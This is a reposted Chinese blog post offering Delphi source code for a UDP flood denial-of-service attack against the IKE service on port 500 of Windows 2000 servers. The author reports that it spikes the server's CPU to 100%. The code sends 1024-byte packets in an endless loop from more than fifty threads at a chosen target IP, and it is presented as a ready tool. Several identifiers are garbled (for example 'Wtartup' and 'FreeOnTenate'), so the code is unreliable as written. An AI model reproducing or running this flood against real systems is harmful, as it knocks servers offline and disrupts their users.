udp 500 D.O.S攻击 (转)[@more@]

  前些日子,看见有文章说的500端口对flood不是很好,我测试了一下,发现很有效果,对win2000服务器的udp500发送大量包的时候,win2000服务器的率一下子达到了100%,而且反应立刻迟钝下来.

如下:

线程程序://线程的代码,创建线程请用菜单new一个Thead

uses winsock;

procedure udpdos.Execute;

varwsa:TWSAData;s: TSocket;sockin: TSockAddrIn;buf:array[0..1023] of byte;i: integer;DIP:string;begin  { Place thread code here }//win2000下利用ike(udp 500)的DOS攻击//by 杨顺  FreeOnTenate := true;

//destIP是主Form里面上,就是要攻击的,在主Form里面申明一个这样的变量就可以了

  D:= DestIP;

//填充buf

  for i := 0 to 1023 do  buf[i] := 97;

//初始化socket2

  Wtartup($101,wsa);

//创建udp socket

  s := socket(AF_,SOCK_DGRAM,IPPROTO_UDP);  sockin.sin_family := AF_INET;  sockin.sin_port := htons(IKE);  sockin.sin_addr.S_addr :=_addr(pchar(DIP));  while true do  begin  if self.Terminated then  break;

  //发送数据报

  sendto(s,buf,1024,0,sockin,sizeof(sockin));  end;  closesocket(s);  WSACleanup;

 end;

主form里面,

  for i := 0 to 50 do

  begin  udpdos.Create(false); //创建50多个线程,进行攻击  end;

顺便提一下,坚持输入的ip是否合法,一句话就可以了

uses winsock

  if inet_addr(pchar(DestIP)) =  inaddr_none  then

  begin  showmessage('输入的错误');  exit;  end;

来自 “ ITPUB博客 ” ，链接：http://blog.itpub.net/10748419/viewspace-976164/，如需转载，请注明出处，否则将追究法律责任。